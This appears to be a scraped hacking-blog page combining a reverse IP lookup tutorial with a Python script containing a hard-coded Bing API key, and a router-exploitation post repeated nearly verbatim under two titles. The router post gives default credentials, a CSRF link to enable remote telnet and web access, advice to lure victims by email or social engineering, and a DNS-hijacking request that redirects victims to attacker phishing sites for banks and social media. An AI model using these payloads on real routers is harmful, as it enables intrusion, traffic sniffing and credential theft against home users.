Finding domains on targeted host | Reverse IP lookup

" Reverse IP Lookup " is a very  useful concept for the penetration testers to find out domains which are hosted in targeted host  . Using this concept you can find out the number of domains hosted on a server lets say s4ur4v.com is a server with a server address 1.1.1.1 now when you do a reverse IP lookup on that server you will find the other domains hosted on the same server.

Whats the theory behind this  ?
All web servers are assigned with a unique IP address . If a web server is running a website the IP a address of the site will be same as that of the server. Now if there are multiple domains hosted on the same web server  they will be also having the same IP address of the server . By using this concept " Reverse IP Lookup " we instruct the lookup process to look the number of domains on the target server/host 

How to do a Reverse IP Lookup ? 

Their are a lots of ready made sites which offer you to do a reverse IP look up like yougetsignal

-Go to http://www.yougetsignal.com/
-Gype the server address / website URL
-Click on check and bingo you get the number of domains on the server you looked up

Next i will show you how to do this with a python script which will be using Bing's API to find our dinner ( You can use also DRIL which uses the same )

1. import httplib, urllib, socket, sys
2. from xml.dom.minidom import parse, parseString
5. if len(sys.argv) == 2:
6.  AppId = '1734E2C92CA63FAA596335295B09CF1D0B5C6161'
7.  domain = sys.argv[1]
8.  sites = [domain]
10.  ip = socket.gethostbyname(domain)
11.  offset = 50
12.  while offset < 300:
13.   uri = "/xml.aspx?AppId=%s&Query=ip:%s&Sources=Web&Version=2.0&Market=en-us&Adult=Moderate&Options=EnableHighlighting&Web.Count=50&Web.Offset=%s&Web.Options=DisableQueryAlterations"%(AppId, ip, offset)
15.   conn = httplib.HTTPConnection("api.bing.net")
16.   conn.request("GET", uri)
17.   res = conn.getresponse()
18.   data = res.read()
19.   conn.close()
22.   xmldoc = parseString(data)
23.   nameEls = xmldoc.getElementsByTagName('web:DisplayUrl')
24.   for el in nameEls:
25.    temp = el.childNodes[0].nodeValue
26.    temp = temp.split("/")[0]
27.    if temp.find('www.') == -1:
28.     if temp not in sites:
29.      sites.append(temp)
31.   offset += 50
33.  print "\n\n"
34.  print "Total: %d domain(s)\n\n"%len(sites)
35.  for i in sites:
36.   print i
37.  print "\n\n"
39. else:
40.  print "\n\n\n"
41.  print "=====================================\n"
42.  print "Usage: $ python reverse.py domain.com\n"
43.  print "Ex: $ python reverse.py hackersbay.in   \n"
44.  print "=====================================\n"
45.  print "\n\n\n"

Windows users please mind it you have python installed in your OS before running this script.I am going to show it using Backtrack 

- Copy the above script and paste it in a file rename it to reverse.py

- Browse through the directory you saved the file in e.g cd /dir 

- to execute the script you have to just write python reverse.py and then it will show you the how to do the rest :D 

root@bt:~# cd /pentest 

root@bt:/pentest# python reverse.py 

=====================================

Usage: $ python reverse.py domain.com

Ex: $ python reverse.py enhack.net   

=====================================

root@bt:/pentest# python reverse.py davunit8.org

Total: 103 domain(s)

davunit8.org

psplindia.com

jnvkeonjhar.com

microfinanceltd.com

puspitamishra.com

htti-cuttack.com

neemworld.com

keonjhar.net

origininfosystem.com

cippl.com

newditech.com

caravanholidaysindia.com

niateducation.com

sunrayadv.com

spanscaffold.com

suinsys.com

ihmbbs.org

mohindratourist.com

hiem-bdk.org

immunologyofdiabetessociety.com

pipilicrafts.com

dhaneswarinstitutekatak.com

indomer.com

itibalasore.org... continues 

I missed something ? feel free to comment 

HACKING THROUGH ROUTERS(BSNL)

Hello Mates, This is my first post here

Today im going to show you how a series of vulnerabilities in a web Application could be creatively exploited through routers
 
Product Description:

The product which i had my hands on is this UTSTARCOM router,

It is one of the most common ADSL Modem cum Router which was rolled out by BSNL to their customers a year ago, when the number of internet subscribers was reaching the peak. This little devices runs a webserver which serves the web based router configuration application.Further it has a Telnet service running on it.
 
The So Called BuiltIn Security Features :

* Remote Web Access to the router is blocked by Default [so you can't access a victim's router by using his public IP]
* Remote Telnet Access is also blocked

After a little playaround with the device, i've found that there are 3 different users that can login into the router.
viz admin,user,support

The Documentation Provided by BSNL neither states that there are 3 different users that could access the device nor forces/asks/shows the users to change their default password for accessing the router [Note: Im not mentioning the PPoE Password]

http://www.chennai.bsnl.co.in/BBS/UT300R2U.htm
 
User Description:
As the name suggests, admin user has the ablility to do all configuration changes to the router, whereas the user privileged user could not do any changes in the configuration of the router.

Logged in as Admin:


Logged in as User:

 
Vulnerablility Description:

On a closer examination of the source code,i got hold of a javascript menuBCM.js

menuBCM.js: 
  
  function menuAdmin(options) { // All the options are displayed for ADMIN
   var std = options[MENU_OPTION_STANDARD];
   var proto = options[MENU_OPTION_PROTOCOL];
   var firewall = options[MENU_OPTION_FIREWALL];
   var nat = options[MENU_OPTION_NAT];
   var ipExt = options[MENU_OPTION_IP_EXTENSION];
   var wireless = options[MENU_OPTION_WIRELESS];
   var voice = options[MENU_OPTION_VOICE];
   var snmp = options[MENU_OPTION_SNMP];
   var ddnsd = options[MENU_OPTION_DDNSD];
   var sntp = options[MENU_OPTION_SNTP];
.
.
if ( user == 'admin' ) //this piece of code calls the respective menu to be displayed
      menuAdmin(options);
   else if ( user == 'support' )
      menuSupport(options);
   else if ( user == 'user' )
      menuUser();
}

-------------code truncated

 so it is pretty obvious from the code that the user privilege management is handled by this javacript by displaying all menu's to Admin and hides configuration menu's to the user.

so it is possible to navigate to the configurations page by a user if he knows the URL

The default username password combination is
admin:admin
user:user

Since we know that the user privilege management is handled by a javascript, it has got nothing to do in a telnet session, so when we telnet as either a admin or as a user, we get full access [privilege] to the router.

Further adding fuel to the fire, CSRF is present in the webbased configuration application
 
Exploiting Methods:

First and foremost point is we can't access the victim's router from WAN,

As CSRF vulnerability is present on the router, this script will do the job

http://user:user@192.168.1.1/scsrvcntr.cmd?
action=save&http=1&http=3&icmp=1&snmp=1&snmp=3&telnet=1&telnet=3&tftp=2&tftp=0

 Since there user:user account is some sort of hidden/undisclosed account, the possiblity of its default password being changed is very less.

we could send this link to a victim either in a email or by some SE techniques, what this does is, it changes the router configuration and allows Remote Web access, Remote Telnet access on the router.

The entire Exploit looks like this

1)index.html


2)config.html


So after the user visits this page, we will have his IP in our database or somewhere depending upon the IP logger script.
Now we can login into his router either by telnetting or by logging into the webapplication.

Even though the victim changes the admin password for the device, we could log in as user:user and navigate into password.html page and viewing source --Kabboomm Plain text passwords in javascripts

passwords.html


So now we got admin access on both TELNET service and webservice, now here comes a variety of exploitation techniques


Possible Attacks:

1.Denial of Service:

1.The attacker might implement MAC filtering or other IP restriction on the victim’s router.
2.Specifying a unreachable Static Route
3.Killing the httpd server process of the router repeatedly by telneting into the victim’s router.

2)Sniffing

1.The attacker could specify a static route passing through his network for the victim’s router and sniff the traffic from the victim. [SSL Strip + Ettercap + Wireshark]


3.Phishing:

This is the attack of our special interest as it is one of the stealthiest attack when combined with routing attacks.
The attacker could specify a fake DNS server for the victim router and could carry out phishing attacks.

http://192.168.1.1/dnscfg.cgi?dnsPrimary=XX.XX.XX.XX&dnsSecondary=XX.XX.XX.XX&dnsDynamic=0&dnsRefresh=1

XX.XX.XX.XX = Attackers DNS server

This changes the primary & secondary DNS servers of the victim’s router

Now the victim's network is like this



So we can specify our phishing sites IP address as A Records for famous websites like facebook,orkut,banking sites etc etc in our DNS server.



You can download the whitepaper here
Peace.. Similar vulnerablility is found in Nokia-Simens and many other Home Routers
Fairly long post, isn't it ?
Comments and Suggestions are Welcomed.  


credits : Boris

PWNING ROUTERS(BSNL)

Hello Mates, This is my first post here

Today im going to show you how a series of vulnerabilities in a web Application could be creatively exploited.
 
Product Description:
 
The product which i had my hands on is this UTSTARCOM router,

It is one of the most common ADSL Modem cum Router which was rolled out by BSNL to their customers a year ago, when the number of internet subscribers was reaching the peak. This little devices runs a webserver which serves the web based router configuration application.Further it has a Telnet service running on it.
 
The So Called BuiltIn Security Features :

* Remote Web Access to the router is blocked by Default [so you can't access a victim's router by using his public IP]
* Remote Telnet Access is also blocked

After a little playaround with the device, i've found that there are 3 different users that can login into the router.
viz admin,user,support

The Documentation Provided by BSNL neither states that there are 3 different users that could access the device nor forces/asks/shows the users to change their default password for accessing the router [Note: Im not mentioning the PPoE Password]

http://www.chennai.bsnl.co.in/BBS/UT300R2U.htm
 
User Description:
As the name suggests, admin user has the ablility to do all configuration changes to the router, whereas the user privileged user could not do any changes in the configuration of the router.

Logged in as Admin:


Logged in as User:

 
Vulnerablility Description:

On a closer examination of the source code,i got hold of a javascript menuBCM.js

menuBCM.js: 
  
  function menuAdmin(options) { // All the options are displayed for ADMIN
   var std = options[MENU_OPTION_STANDARD];
   var proto = options[MENU_OPTION_PROTOCOL];
   var firewall = options[MENU_OPTION_FIREWALL];
   var nat = options[MENU_OPTION_NAT];
   var ipExt = options[MENU_OPTION_IP_EXTENSION];
   var wireless = options[MENU_OPTION_WIRELESS];
   var voice = options[MENU_OPTION_VOICE];
   var snmp = options[MENU_OPTION_SNMP];
   var ddnsd = options[MENU_OPTION_DDNSD];
   var sntp = options[MENU_OPTION_SNTP];
.
.
if ( user == 'admin' ) //this piece of code calls the respective menu to be displayed
      menuAdmin(options);
   else if ( user == 'support' )
      menuSupport(options);
   else if ( user == 'user' )
      menuUser();
}

-------------code truncated

 so it is pretty obvious from the code that the user privilege management is handled by this javacript by displaying all menu's to Admin and hides configuration menu's to the user.

so it is possible to navigate to the configurations page by a user if he knows the URL

The default username password combination is
admin:admin
user:user

Since we know that the user privilege management is handled by a javascript, it has got nothing to do in a telnet session, so when we telnet as either a admin or as a user, we get full access [privilege] to the router.

Further adding fuel to the fire, CSRF is present in the webbased configuration application
 
Exploiting Methods:

First and foremost point is we can't access the victim's router from WAN,

As CSRF vulnerability is present on the router, this script will do the job

http://user:user@192.168.1.1/scsrvcntr.cmd?
action=save&http=1&http=3&icmp=1&snmp=1&snmp=3&telnet=1&telnet=3&tftp=2&tftp=0

 Since there user:user account is some sort of hidden/undisclosed account, the possiblity of its default password being changed is very less.

we could send this link to a victim either in a email or by some SE techniques, what this does is, it changes the router configuration and allows Remote Web access, Remote Telnet access on the router.

The entire Exploit looks like this

1)index.html 


2)config.html


So after the user visits this page, we will have his IP in our database or somewhere depending upon the IP logger script.
Now we can login into his router either by telnetting or by logging into the webapplication.

Even though the victim changes the admin password for the device, we could log in as user:user and navigate into password.html page and viewing source --Kabboomm Plain text passwords in javascripts

passwords.html


So now we got admin access on both TELNET service and webservice, now here comes a variety of exploitation techniques


Possible Attacks:

1.Denial of Service:

1.The attacker might implement MAC filtering or other IP restriction on the victim’s router.
2.Specifying a unreachable Static Route
3.Killing the httpd server process of the router repeatedly by telneting into the victim’s router.
 
2)Sniffing

1.The attacker could specify a static route passing through his network for the victim’s router and sniff the traffic from the victim. [SSL Strip + Ettercap + Wireshark]


3.Phishing:

This is the attack of our special interest as it is one of the stealthiest attack when combined with routing attacks.
The attacker could specify a fake DNS server for the victim router and could carry out phishing attacks.

http://192.168.1.1/dnscfg.cgi?dnsPrimary=XX.XX.XX.XX&dnsSecondary=XX.XX.XX.XX&dnsDynamic=0&dnsRefresh=1

XX.XX.XX.XX = Attackers DNS server

This changes the primary & secondary DNS servers of the victim’s router

Now the victim's network is like this



So we can specify our phishing sites IP address as A Records for famous websites like facebook,orkut,banking sites etc etc in our DNS server.



You can download the whitepaper here
Peace.. Similar vulnerablility is found in Nokia-Simens and many other Home Routers
Fairly long post, isn't it ?
Comments and Suggestions are Welcomed.  


credits : Boris